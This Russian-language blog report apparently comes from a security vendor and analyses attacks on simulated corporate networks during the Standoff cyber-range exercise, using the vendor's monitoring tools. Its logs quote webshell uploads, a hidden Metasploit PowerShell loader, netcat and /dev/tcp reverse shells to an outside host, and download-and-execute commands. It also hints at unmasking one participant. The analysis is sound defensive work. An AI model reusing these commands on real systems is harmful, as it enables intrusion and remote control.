Итак, завершилось очередное «противостояние» в рамках конференции Positive Hack Days 8. В этот раз в борьбе приняли участие более ста человек: 12 команд нападающих, 8 команд защитников и целый город, который им предстояло атаковать и защищать.
На этот раз в The Standoff приняли участие не только команды атакующих и защитников, за всем происходящим в игровой сети наблюдала тройка продуктов нашей компании:
- MaxPatrol SIEM — SIEM-система.
- PT Network Attack Discovery – решение сетевой безопасности для анализа сетевого трафика, выявления и расследования инцидентов.
- PT MultiScanner — многоуровневая система выявления и блокировки вредоносного контента.
За тройкой продуктов следила команда экспертного центра безопасности Positive Technologies (PT ESC), отслеживающая игровые тренды и события чтобы рассказать об этом посетителям экспертного центра.
Это было первое подобное участие команды экспертов и продуктов и они показали себя с наилучшей стороны: данных было настолько много, что хватило бы на огромный отчет. Наиболее интересными и полными по описанию получились сети офиса #2 компании интегратора SPUTNIK и офиса #1 страховой компании BeHealthy. Офис №2 был интересен тем, что находился под наблюдением SOC РТК, но не опекался командой защитников и его полностью взломали команды атакующих.
Напомню, что помимо двух офисов, в городе работали ТЭЦ и подстанция, ж/д, умные дома с рекуперацией энергии и банки с банкоматами.
Игровая инфраструктура
О том, как происходящее в офисах #1 и #2 выглядело сквозь призму MaxPatrol SIEM, PT NAD и PT MultiScanner с акцентом на технические детали взломов, пойдет речь дальше.
Логическая схема игровой сети офиса #2:
Адресация атакующих команд — 172.31.x.0/24, где x — номер команды от 1 до 8. На самом деле, всего команд было 12, но в силу особенностей архитектуры сетевой инфраструктуры сети (ядро сети эмулировалось в Cisco CSR1000v) и имеющегося физического оборудования, удалось организовать только 8 физических сетевых интерфейсов, которые были скоммутированы для команд по всей игровой зоне. Поэтому в четырех сетях располагались по две команды.
В инфраструктуре Офиса #2 было выделено четыре сетевых сегмента:
- DMZ (100.64.154.0/25);
- cерверы (10.106.60.0/24);
- cотрудники компании (10.106.50.0/24);
- команда защитников (10.106.82.0/24).
Узлы, расположенные в демилитаризованной зоне, были доступны по сети для всех атакующих. При обращении к этим узлам реальные сетевые адреса команд NAT-ировались из пула 100.110.255.0/24, поэтому для защитников было не просто разобраться кому принадлежит тот или иной сетевой трафик — это могла быть одна из 12 команд атакующих или же легитимный скрипт-чекер, проверявший работоспособность сервисов из того же пула адресов, что и атакующие.
Что бы наполнить наши продукты событиями о происходящем в игровой инфраструктуре, мы организовали съем и перенаправление копии всего сетевого трафика в PT NAD, а также настроили расширенный аудит событий целевых систем и организовали их доставку в MaxPatrol SIEM.
С разбором атак с упором на команды можно ознакомиться в другом нашем отчете на хабре.
Joomla (100.64.154.147)
Одним из серверов в DMZ офиса #2 был сервер с Joomla CMS. Спустя несколько часов после начала игры, в PT NAD появились первые признаки компрометации этого сервера — заливка webshell из пула “серых” ip-адресов:
Как было упомянуто, все подсети атакующих команд терминировались на одном МЭ (Attacker-FW) и при создании соединения к атакуемым объектам, ip-адреса атакующих транслировались в “серые” ip-адреса из единого пула (100.110.255.0/24). Поэтому для персонификации атак по командам была реализована схема с обогащением межсетевых соединений по таблице NAT этого МЭ. В рамках MP SIEM обогащение выглядело следующим образом:
Такой подход позволил определить, что эта атака была инициирована командой #1. Однако из-за использования одного и того же адресного пула разными командами, мы не можем достоверно определить название команды по запросу из той или иной сети, да и в целях дальнейшего повествования мы будем именовать команды по номерам их сетей.
Спустя час после попыток команды #1, PT NAD замечает загрузку командой #8 на другого веб шелла с говорящим названием SHE__.php, был ли это следствием взлома сервера или простым сканированием — достоверно установить не удалось, но спустя уже несколько минут от той же 8й команды устанавливается ssh сессия от непривилегированного пользователя user.
Пароль от этой учетной записи находился на вершине словаря rockyou и был подобран. Доступ к root аккаунту у 8й команды появился лишь около 16:00 из-за членства пользователя user в группе с правом беспарольного запуска команд от рута. В этом мы можем убедиться в логах MP SIEM, повествующих о сперва логине под пользователем user, а затем повышении привилегий командой sudo.
Время в логах может различаться на 3 часа из-за конфигурации игровых серверов.
К вечеру первого дня противостояния, Joomla-й овладела и шестая команда. NAD обнаружил эксплуатацию уязвимости, а точнее, фичи, через которую команда залила широко известный веб шелл WSO и начала с ним взаимодействовать.
100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP
100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP
100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP
100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP
…
100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP
100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP
100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTPСтоить заметить, что скрипт, который использовали команды для заливки шеллов,
требует учетной записи администратора, пароль от которой был подобран при помощи другой уязвимости CVE-2017-14596 в механизме аутентификации в Joomla через LDAP: изменяя аутентификационный LDAP запрос, атакующие быстро подбирают логин и пароль от учетной записи администратора.
И спустя полчаса они завладели всей системой.
Захваченную машину команды нападающих использовали для дальнейшей разведки в сети второго офиса компании SPUTNIK утилитами nmap и hping3. Об их действиях мы можем получить представление из данных MP SIEM:
Пример разведки DMZ сети офиса 2 (100.64.154.0/24) и сети команды защитников (10.106.82.0/24):
В 21:17 мы обнаружили, что на сервере Joomla был установлен и запущен OpenVPN клиент. Соединение установилось с сервером 195.16.61.229, размещенном в Москве. Чуть позже мы выяснили, что эти действия выполняли участники команды #6 и таким образом команде удалось привлечь дополнительные вычислительные и человеческие ресурсы, расположенные на удаленной площадке.
Всё взаимодействие с удаленной площадкой осуществлялось внутри защищенного туннеля, поэтому установить характер этого взаимодействия и степень его влияния на игру невозможно. Мы можем сделать лишь косвенные выводы, опираясь на количество VPN-сессий и объем переданных данных.
Но самое интересное, что команда не почистила за собой следы – после игры мы обнаружили на сервере ovpn конфиг, содержащий корневой и личный сертификаты, закрытый ключ и личные данные владельца ключа. Если воспользоваться поисковиком, то совсем не сложно определить реальную личность владельца под ником phonexicum. Полную карту со всеми VPN соединениями во время игры можно изучить в конце статьи.
Другие интересные события стали развиваться после полуночи (+3 часа к логам).
Шелл /id.php команды #4 находит команда #1:
[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1
[15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1
[15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1
[15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1
[15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1
[15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
И незамедлительно укрепляется в системе, сохранив вебшелл WSO под именем 123.php
[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1
[15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1
[15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1
[15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1
Первая команда хозяйничала до тех пор, пока команда #4 не обнаружила это через несколько часов и, после недолгого обсуждения, переименовывает шелл id.php в 021371b392f0b42398630fd668adff5d.php
[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1
[16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1
[16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1
В последствии 021371b392f0b42398630fd668adff5d.php был заменен на kekekeke.php и kekpek.php
[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1
[16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1
Следующие события в доменной инфраструктуре офиса #2 SPUTNIK тесно связаны с происходящим на Джумле.
SPUTNIK (10.106.60.0/24)
После того, как Joomla была пробита, атакующим открылся доступ ко внутренним сегментам инфраструктуры SPUTNIK (Офис #2). Недолго думая, к контроллеру домена WIN2008R2-DC.domain2.phd (10.106.60.10) прилетает эксплоит MS17-010.
Хронологию дальнейших событий удобнее наблюдать по срабатываниям MP SIEM:
Первым шагом атакующего стало создание пользователя с именем “username” и паролем “1qazzaq!” и добавление его в группу локальных администраторов (скрин #2). Успешная эксплуатация эксплоитов из MS17-010 дает доступ с привилегиями NT-Authority\System и в логах ОС Windows такой доступ отображается как win2008r2-dc$.
От имени нового пользователя создает пару служб, запускающих некий powershell скрипт:
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""Этот скрипт был сгенерирован фреймворком Metasploit. Его предназначение — открыть сокет на порту 55443 для прослушивания и запустить пришедшую на этот порт «полезную» нагрузку — предположительно Meterpreter.
Попытка запуска удаленного шелла оказалась успешной. После этого атакующие продолжили развивать атаку и username создает другую учетную запись с именем “vitalik”, добавляя эту учетную запись в группу “Domain Admins” и вскоре после её создания, мы видим интерактивный вход.
В то время как vitalik создавал сервис с тем же powershell скриптом, как и у username-а, username массово сбрасывал пароли доменных учетных записей и начал интересоваться соседним почтовым сервером домена Win2008R2-EXCH.
Практически одновременная активность пользователей username и vitalik на Exchange сервере домена (сканирование и логин) говорит о том, что скорее всего сеть SPUTNIK исследовали одновременно несколько членов команды.
vitalik выполняет проверку доступности почтового сервера и запускает консоль управления сервером после интерактивного логина.
Не обнаружив ничего стоящего, он тащит на хост Win2008R2-DC свой инструментарий и тяжелую артиллерию — на контроллере домена появляются многочисленные powershell скрипты и фреймворк BloodHound, который является популярным инструментом для разведки в Active Directory сетях. Для доступа к веб интерфейсу BloodHound участнику пришлось отключить защищенный режим в IE, что также было обнаружено SIEM-ом.
Активность BloodHound в сети не прошла мимо PT NAD. Одной из особенностей работы инструмента было сканирование хостов в сети на предмет активных подключений. Такой трафик к сервису SRVSVC обнаруживается одной из сигнатур PT NAD и свидетельствует о происходящей внутри сети разведке:
Около часа ночи атакующие, предварительно создав теневую копию диска силами утилиты vssadmin, утащили базу ntds.dit, содержащую все учетные записи домена. Успешно осуществив данную атаку, нападающие полностью завладевают доменом, получая в распоряжение хеш специальной учетной записи “krbtgt”. Обладание этой учетной записью позволяет создавать и использовать т.н. Golden Ticket — Kerberos тикет для неограниченного доступа к ресурсам в домене, обращения к серверам от имени любых существующих и даже несуществующих пользователей и любых действий в домене. Использование Golden Ticket достаточно сложно обнаружить защитными средствами, а вот компрометацию уз krbtgt и ntds.dit обнаружить намного легче.
Команда постепенно переходит от исследования домена к исследованию открывшейся им сети АСУ ТП. Затащив на машины сотрудников компании SPUTNIK — YLAVRENTIEV.sputnik.phd и EPONOMAREV.sputnik.phd сканеры Nmap, сканированию подвергли сети 172.20.x.x. Участники использовали nmap_performance.reg для изменения параметров TCP/IP стека windows и ускорения сканирования АСУ ТП сети.
Коннекты к хостам в АСУ ТП сети через тоннели на хостах домена SPUTNIK говорят сами за себя. Описание того, что делали хакеры в промышленной сети можно найти в видео наших коллег на YouTube.
Среди прочих достижений атакующих были замечены и другие туннели, ssh сессии, творческие прорывы после бессонной ночи первого дня соревнований и конечно же устанавливаемые игровые майнеры, которые майнили валюту DDOS Coin.
ZABBIX (100.64.100.161)
Расположился в DMZ офиса #1 и гордо исполнял свою роль, пока примерно около полудня не оказался взломанным неустановленной командой.
Админские учетные данные было несложно подобрать и команда воспользовалась встроенной функциональностью zabbix для неограниченного расширения возможностей мониторинга при помощи кастомных скриптов.
В скриптах можно использовать любые linux команды, чем и воспользовались команды участников, создавая шеллы и Socks-прокси.
command=/bin/nc -e /bin/sh -lp 5432 2>&1
command=/bin/ping -c 3 {HOST.CONN} 2>&1
command=ls /bin/
command=/bin/nc -e /bin/sh -lp 5432 2>&1
command=/bin/nc -e /bin/sh -lp 5432 2>&1
command=ping 8.8.8.8
command=ping 8.8.8.8; netstat -tulpn
command=ping -n 4 8.8.8.8; netstat -tulpn
command=ls /tmp/phd
command=netstat -tulpn
command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp
command=ls /tmp
command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp
command=ping -c 4 195.16.61.232
command=touch /tmp/test;ls /tmp/
command=pwd
command=whoami
command=ls /var/www/html
command=which nc
command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp
command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1
command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin
command=bash -i >& /dev/tcp/195.16.61.232/195 >&1
command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1
command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1Команда предприняла попытку загрузить модуль с подконтрольного сервера 195.16.61.232, но безуспешно:
Затем, после небольшой разведки окружения, установила удаленный bash шелл стандартными средствами linux с тем же сервером, посылая пакеты напрямую в /dev/tcp/.
Не менее интересным оказалось и содержимое трафика между командой и шеллами, которое передавалось в открытом виде и не прошло мимо сенсоров PT NAD.
bash-4.2$ /tmp/gost -L socks4a://:1080 &
bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389
bash-4.2$ /tmp/gost -L socks4a://:1080 &
bash-4.2$ nmap
bash: nmap: command not found
bash-4.2$ ifconfig
bash-4.2$ ping 172.30.240.106
bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py
bash-4.2$ python linuxprivchecker.py
bash-4.2$ uname -a
bash-4.2$ cd /etc/cron.daily:
bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389
bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 &
bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 &
bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 &
bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 &
bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 &
bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 &
bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 &
bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 &
bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 &
bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 &
bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 &
bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 &
bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 &
bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 &
bash-4.2$ ./gost -L=socks5://:1081 &
Как мы видим, в основном сервер ZABBIX использовался в качестве плацдарма для разведки подсетей офиса #1: 10.100.50.0/24 (Users), 10.100.60.0/24 (Servers) и 10.100.80.0/24 (SecurityTeam).
Multiserver (100.64.100.167)
Multiserver это другой линуксовый хост в DMZ офиса #1 с парой HTTP серверов и MySQL базой данных на борту. Мультисервер хоть и подвергался интенсивному сканированию, но успешных атак были единицы. Хост содержал уязвимость 2017 года SambaCry, найденной вслед за уязвимостями MS17-010, и команды пытались её использовать. Фильтр PT NAD позволяет локализовать их попытки на временной шкале:
Нагрузкой в одной из попыток команды #3 была исполняемая библиотека DTECJtAf.so. И, судя по имени библиотеки, участники команды использовали модуль is_known_pipename из Metasploit Framework. Пруф:
Во время противостояния, экспертам помогал PT MultiScanner, который проверял все пролетающие по сети файлы, замеченные PT NAD. Спустя пару мгновений он выносит вердикт пролетевшему по сети DTECJtAf.so: Linux/SmbPayload.C
Судя по отсутствию дальнейших сетевых взаимодействий сервера и команды #3, эксплоит не принес успеха. Однако почти в это же время мы видим активную SSH сессию от команды #4. По объему переданного трафика мы можем судить о том, что атакующие использовали сервер по полной.
Вообще говоря, первый успешный SSH логин из под пользователя administrator от команды #4 случился ещё около 15:20 1го дня соревнований:
Как и у любого порядочного злоумышленника, за логином следует проверка привилегий и разведка на хосте:
И за его пределами:
С легкостью проводим атрибуцию атакующего по языковому признаку:
Мультисервер не получил должного конфигурирования и доподлинно неизвестно, какие ещё попытки предпринимали команды. Судя по имеющимся логам, этот хост, также как и другие хосты в DMZ офиса #1 служили отправной точкой для исследования внутренней инфраструктуры офиса.
Misc
Другие хосты также стали объектами внимания команд. Например, любопытно себя повели участники по отношению к роутеру Mikrotik по адресу 100.64.100.237 в сети DMZ Офиса #1. Около 2х часов ночи второго дня противостояния был успешный логин в консоль роутера по Telnet с парой “admin:VxPvRxX74e8xrbia77hsi7WKm”. Версия прошивки устройства была 6.38.4 — именно та версия, на которой тестировался известный эксплоит Chimay Red Stack Clash для Mikrotik, позволявший выполнять любой код на устройстве, и, в частности, вытащить пароли пользователей на роутере. Эксплуатация уязвимости была обнаружена PT NAD.
Но затем, в районе обеда команда, первой занявшей роутер, решила закрыть дырку простым обновлением прошивки и монополизировать доступ:
Это один из немногих примеров, когда команда участников закрывает дырку в системе, чтобы другие команды не смогли захватить этот хост.
PT MultiScanner обнаружил любопытное событие:
Для доступа к банку команды могли использовать банковский клиент, доступный на сайте. Сайт находится в банковской сети под надзором команды защитников и они протроянили клиент при помощи фреймворка Metasploit и заменили им оригинальный. К удачи защитников, протрояненный клиент был скачан несколькими командами, что мы видим на скриншоте PT MultiScanner выше. Успешных коннектов замечено не было, но случай стоит упоминания, поскольку подобные сценарии имеют место в обычно жизни – злоумышленники троянят программы на официальных сайтах или подменяют обновления для совершения атак на клиентов.
Miners
Другим нововведением в The Standoff было появление игровых майнеров. По легенде, команды могли использовать захваченные серверы в качестве майнеров, что приносило им дополнительные очки. Вместо традиционных криптовалют, они добывали DDoS Coin — валютный эквивалент усилий потраченных на DDoS атаку какого-либо сервера. Данные от TLS 1.2 хендшейков служили Proof-of-Work и, чем больше майнер совершил TLS хендшейков с целевым сервером, тем выше была его вероятность найти новый блок и получить своё вознаграждение от организатора DDoS атаки.
Клиент был написан на языке Go и мог работать как на Windows, так и на Linux. Идея применялась впервые и, хоть и не все команды успели его применить, попытки его запуска были замечены на многих серверах игровой инфраструктуры:
Попытка запуска майнера на узле Joomla (100.64.154.147)
Запуск майнера с инфраструктуры SPUTNIK (10.106.60.0/24)
В рамках игры команды могли добывать криптовалюту и обменивать её на игровые очки. Половина команд сумела воспользоваться ранее захваченными серверами для добычи блоков. Также в игровой логике присутствовала биржевая составляющая — при резком изменении количества добытой валюты её курс уменьшался. Таким образом можно было выполнять спекулятивные операции и заработать очки не выполняя основные задания. Но поскольку эта идея ранее не применялась на подобных играх, команды не смогли ей воспользоваться должным образом и существенно на ход игры это не повлияло.
По числу намайненных блоков вперед вырвалась Казахстанская команда ЦАРКА, которая первой запустила майнеры на игровой инфраструктуре. Тут мы смогли отойти от сетевых номеров команд к их названиям в силу того, что их идентификаторы были включены информацию о блоке и учитывались при их подсчете. В целом, идея показала себя хорошо и наверняка её можно будет увидеть и на следующем The Standoff.
Вместо вывода
На минувшем The Standoff было жарко — 12 команд активно исследовали и взламывали инфраструктуру города. Наши продукты позволили нам «подсмотреть» за тем, как именно действовали участники игры, какие тактики и инструменты они избрали и что становилось их целью. Мы стали свидетелями, как они взаимодействовали с доменной инфраструктурой офиса, начав с заражения одной машины и закончив захватом всего домена и переходом к следующей сети АСУ ТП. Во время такого мероприятия, как The Standoff, на продукты приходится огромная нагрузка: MaxPatrol SIEM справлялся с 20,000 EPS, а PT NAD переработал более 3 терабайт сетевого трафика за оба дня, не говоря уже о само сетевой инфраструктуре: маршрутизаторы, коммутаторы и межсетевые экраны.
Подобная компрометация виртуальных офисов могла произойти и с настоящими без должных средств защиты и контроля. Как правило, это ведет к утечке ценных данных таких как переписки, финансовые данные и личные данные сотрудников/пользователей.
Среди нескончаемых сканов, брутов и попыток эксплуатации всевозможных уязвимости, продукты помогали определять, как именно были взломаны сервера игровой инфраструктуры. Определяли успешные атаки и такие следы успешной компрометации, как веб шеллы, удаленные консоли, тоннели и логины на хосты. Все это помогает экспертам делать продукты лучше.
На этом скриншоте статистики по VPN соединениям команд во время игры можно увидеть, насколько интернациональным был этот The Standoff: VPN соединения были установлены с серверами в Штатах, Казахстане, Нидерландах и половине Европы! К слову, команд из Штатов или Европы на The Standoff не было, но присутствовала одна команда и Казахстана.